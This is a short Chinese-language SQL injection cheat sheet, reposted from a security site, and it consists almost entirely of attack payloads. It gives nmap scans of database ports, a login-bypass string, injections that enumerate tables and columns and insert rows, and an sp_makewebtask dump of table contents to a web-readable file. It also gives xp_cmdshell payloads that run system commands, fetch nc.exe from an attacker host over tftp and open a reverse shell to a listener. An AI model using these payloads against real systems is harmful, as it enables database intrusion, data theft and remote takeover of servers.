SQL 注入
nmap -sS -p 1521 targetIP 扫描oracle
nmap -sS -p T:1433,U:1434 targetIP 扫描mssql
‘ or 1=1–验证旁路
列举表名:
‘ having 1=1–
‘ group by table having 1=1–
‘ group by table, table2 having 1=1–
‘ group by table, table2, table3 having 1=1–
列举列类型:
union select sum(column) from table –
union select sum(column2) from table –
添加数据:
‘ ; insert into table values(‘value’,'value2′,’value3′)–
MSSQL存储程序:
输出数据库中备案信息到一个html文件,您可以查看与一个浏览器。
‘ ; exec sp_makewebtask “c:\Inetpub\wwwroot\test.html”, “select * from table” ; –
www.91ri.org/test.html运行ipconfig在浏览器查看信息。
‘ or 1=1; exec master..xp_cmdshell ‘ “ipconfig” > c:\Inetpub\wwwroot\test.txt’ ;–
www.91ri.org/test.txt上传后门。
‘ or 1=1; exec master..xp_cmdshell ‘ “tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe’ ; –
攻击者: nc -lvp 53
本文转自网络由网络安全攻防研究室(
www.91ri.org) 信息安全小组收集整理.
Popularity: 9% [?]